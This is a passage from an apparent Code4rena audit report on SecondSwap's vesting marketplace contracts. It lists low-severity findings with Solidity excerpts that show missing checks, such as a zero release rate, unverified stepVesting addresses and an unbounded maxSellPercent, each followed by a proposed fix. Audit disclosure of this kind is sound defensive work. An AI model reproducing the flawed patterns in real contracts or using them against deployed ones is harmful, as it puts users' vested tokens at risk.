"SS_Marketplace: No decimals function"
); // 3.1. Rounding issue leads to total drain of vesting entries
uint256 baseAmount = (_amount * _price) /
uint256(
10 **
(
IERC20Extended(
address(
IVestingManager(IMarketplaceSetting(marketplaceSetting).vestingManager())
.getVestingTokenAddress(_vestingPlan)
)
).decimals()
)
); // 3.1. Rounding issue leads to total drain of vesting entries
require(baseAmount > 0, "SS_Marketplace: Cannot list amount it is too little"); // 3.1. Rounding issue leads to total drain of vesting entries
IVestingManager(IMarketplaceSetting(marketplaceSetting).vestingManager()).listVesting(
msg.sender,
_vestingPlan,
_amount
);
uint256 listingId = nextListingId[_vestingPlan]++;
address whitelistAddress;
if (_isPrivate) {
require(_maxWhitelist > 0, "SS_Marketplace: Minimum whitelist user cannot be 0");
whitelistAddress = SecondSwap_WhitelistDeployer(IMarketplaceSetting(marketplaceSetting).whitelistDeployer())
.deployWhitelist(_maxWhitelist, msg.sender);
emit WhitelistCreated(_vestingPlan, listingId, whitelistAddress, msg.sender, _maxWhitelist);
}
listings[_vestingPlan][listingId] = Listing({
seller: msg.sender,
total: _amount,
balance: _amount,
pricePerUnit: _price,
listingType: _listingType,
discountType: _discountType,
discountPct: _discountPct,
listTime: block.timestamp,
whitelist: whitelistAddress,
currency: _currency,
minPurchaseAmt: _minPurchaseAmt,
status: Status.LIST,
vestingPlan: _vestingPlan
});
emit Listed(_vestingPlan, listingId);
}SecondSwap_Marketplace::listVesting()
function listVesting(address seller, address plan, uint256 amount) external onlyMarketplace {
require(vestingSettings[plan].sellable, "vesting not sellable");
require(SecondSwap_Vesting(plan).available(seller) >= amount, "SS_VestingManager: insufficient availablility");
Allocation storage userAllocation = allocations[seller][plan];
uint256 sellLimit = userAllocation.bought;
uint256 currentAlloc = SecondSwap_Vesting(plan).total(seller);
if (currentAlloc + userAllocation.sold > userAllocation.bought) {
sellLimit +=
((currentAlloc + userAllocation.sold - userAllocation.bought) * vestingSettings[plan].maxSellPercent) /
BASE;
}
userAllocation.sold += amount;
require(userAllocation.sold <= sellLimit, "SS_VestingManager: cannot list more than max sell percent");
SecondSwap_Vesting(plan).transferVesting(seller, address(this), amount);
}SecondSwap_VestingManager::listVesting()
Recommended mitigation steps
+ require(_discountPct <= 10000, "SS_Marketplace: Invalid discount amount");[L-03] Inability to claim tokens if totalAmount < numOfSteps
If the grantor transfer an amount that make totalAmount < numOfSteps then the grantor will have a releaseRate of 0 leading to inability to claim his tokens once available for claim.
Proof of Concept
function transferVesting(address _grantor, address _beneficiary, uint256 _amount) external {
require(
msg.sender == tokenIssuer || msg.sender == manager || msg.sender == vestingDeployer,
"SS_StepVesting: unauthorized"
);
require(_beneficiary != address(0), "SS_StepVesting: beneficiary is zero");
require(_amount > 0, "SS_StepVesting: amount is zero");
Vesting storage grantorVesting = _vestings[_grantor];
require(
grantorVesting.totalAmount - grantorVesting.amountClaimed >= _amount,
"SS_StepVesting: insufficient balance"
); // 3.8. Claimed amount not checked in transferVesting function
grantorVesting.totalAmount -= _amount;
grantorVesting.releaseRate = grantorVesting.totalAmount / numOfSteps;
_createVesting(_beneficiary, _amount, grantorVesting.stepsClaimed, true);
emit VestingTransferred(_grantor, _beneficiary, _amount);
}SecondSwap_StepVesting::transferVesting()
Recommended mitigation steps
Add a check for the grantorVesting.releaseRate > 0
function transferVesting(address _grantor, address _beneficiary, uint256 _amount) external {
require(
msg.sender == tokenIssuer || msg.sender == manager || msg.sender == vestingDeployer,
"SS_StepVesting: unauthorized"
);
require(_beneficiary != address(0), "SS_StepVesting: beneficiary is zero");
require(_amount > 0, "SS_StepVesting: amount is zero");
Vesting storage grantorVesting = _vestings[_grantor];
require(
grantorVesting.totalAmount - grantorVesting.amountClaimed >= _amount,
"SS_StepVesting: insufficient balance"
); // 3.8. Claimed amount not checked in transferVesting function
grantorVesting.totalAmount -= _amount;
grantorVesting.releaseRate = grantorVesting.totalAmount / numOfSteps;
+ require(grantorVesting.releaseRate > 0, "SS_StepVesting: releaseRate is zero");
_createVesting(_beneficiary, _amount, grantorVesting.stepsClaimed, true);
emit VestingTransferred(_grantor, _beneficiary, _amount);
}[L-04] Fake Vesting events generation using inexistent stepVesting addresses
Fake Vesting events could be generated in SecondSwap_VestingDeployer::createVesting() and SecondSwap_VestingDeployer::createVestings() as there is no check of the stepVesting address is actually a real deployed one.
Proof of Concept
As you can see in the following functions, there is no check if the _stepVesting actually exists or not:
function createVesting(address _beneficiary, uint256 _totalAmount, address _stepVesting) external {
require(
_tokenOwner[msg.sender] == address(SecondSwap_StepVesting(_stepVesting).token()),
"SS_VestingDeployer: caller is not the token owner"
); // 3.2. Arbitrary transfer of vesting
SecondSwap_StepVesting(_stepVesting).createVesting(_beneficiary, _totalAmount);
emit VestingCreated(_beneficiary, _totalAmount, _stepVesting);
}and
function createVestings(
address[] memory _beneficiaries,
uint256[] memory _totalAmounts,
address _stepVesting
) external {
require(
_tokenOwner[msg.sender] == address(SecondSwap_StepVesting(_stepVesting).token()),
"SS_VestingDeployer: caller is not the token owner"
); // 3.2. Arbitrary transfer of vesting
SecondSwap_StepVesting(_stepVesting).createVestings(_beneficiaries, _totalAmounts);
for (uint256 i = 0; i < _beneficiaries.length; i++) {
emit VestingCreated(_beneficiaries[i], _totalAmounts[i], _stepVesting);
}
}Recommended mitigation steps
Add a mapping of deployed stepvesting addresses to check if the address sent while creating a vesting actually exists or not.
[L-05] Each msg.sender can only have one token
Each msg.sender can only have one token due to the _tokenOwner[msg.sender] checks. Therefore, if a user or a contract manages multiple tokens then only one of them will be able to have a vesting program.
Proof of Concept
require(_tokenOwner[msg.sender] == tokenAddress, "SS_VestingDeployer: caller is not the token owner");Recommended mitigation steps
It is better to make the following:
- require(_tokenOwner[msg.sender] == tokenAddress, "SS_VestingDeployer: caller is not the token owner");
+ require(_tokenOwner[tokenAddress] == msg.sender, "SS_VestingDeployer: caller is not the token owner");This will allow a user to be the owner of multiple tokens.
[L-06] Missing check for maxSellPercent <= 10000
You should check that the new value is not more than 10000 == 100% to avoid users being able to sell more than what he has.
Proof of Concept
function setMaxSellPercent(address vesting, uint256 maxSellPercent) external {
require(SecondSwap_StepVesting(vesting).tokenIssuer() == msg.sender, "SS_VestingManager: Invalid Token Issuer");
vestingSettings[vesting].maxSellPercent = maxSellPercent;
emit MaxSellPercentUpdated(vesting, maxSellPercent);
}SecondSwap_VestingManager::setMaxSellPercent
Recommended mitigation steps
function setMaxSellPercent(address vesting, uint256 maxSellPercent) external {
require(SecondSwap_StepVesting(vesting).tokenIssuer() == msg.sender, "SS_VestingManager: Invalid Token Issuer");
+ require(maxSellPercent <= 10000, "maxSellPercent can't be more than 100%")
vestingSettings[vesting].maxSellPercent = maxSellPercent;
emit MaxSellPercentUpdated(vesting, maxSellPercent);
}[L-07] There is no check if the vesting is actually sellable or not
Setting the value of maxSellPercent in a none sellable vesting is useless and will only make tokenIssuer lose gas. Therefore, it is better to check if the vesting is sellable first before making any change to the maxSellPercent value
Proof of Concept
function setMaxSellPercent(address vesting, uint256 maxSellPercent) external {
require(SecondSwap_StepVesting(vesting).tokenIssuer() == msg.sender, "SS_VestingManager: Invalid Token Issuer");
vestingSettings[vesting].maxSellPercent = maxSellPercent;
emit MaxSellPercentUpdated(vesting, maxSellPercent);
}SecondSwap_VestingManager::setMaxSellPercent
Recommended mitigation steps
function setMaxSellPercent(address vesting, uint256 maxSellPercent) external {
require(SecondSwap_StepVesting(vesting).tokenIssuer() == msg.sender, "SS_VestingManager: Invalid Token Issuer");
+ require(vestingSettings[vesting].sellable, "This vesting is not sellable")
vestingSettings[vesting].maxSellPercent = maxSellPercent;
emit MaxSellPercentUpdated(vesting, maxSellPercent);
}Disclosures
C4 is an open organization governed by participants in the community.
C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.